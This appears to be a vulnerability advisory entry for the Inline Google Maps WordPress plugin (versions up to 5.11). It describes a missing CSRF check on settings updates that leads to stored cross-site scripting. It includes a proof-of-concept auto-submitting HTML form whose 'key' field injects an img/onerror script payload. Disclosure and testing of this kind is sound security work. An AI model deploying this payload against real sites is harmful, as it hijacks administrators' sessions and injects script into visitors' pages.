Lucene search

K
wpexploitDaniel RufWPEX-ID:8353AA12-DBB7-433F-9DD9-D61A3F303D4B
HistoryMay 30, 2022 - 12:00 a.m.

Inline Google Maps <= 5.11 - Arbitrary Settings Update to Stored XSS via CSRF

2022-05-3000:00:00
Daniel Ruf
80

0.001 Low

EPSS

Percentile

26.4%

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

<form id="test" action="https://example.com/wp-admin/options-general.php?page=googlemaps.php" method="POST">
    <input type="text" name="key" value='hacked"><img src onerror=alert(/XSS/)>'>
    <input type="text" name="lang" value="co.jp">
    <input type="text" name="map_w" value="1">
    <input type="text" name="map_h" value="1">
    <input type="text" name="action" value="save">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

26.4%

Related for WPEX-ID:8353AA12-DBB7-433F-9DD9-D61A3F303D4B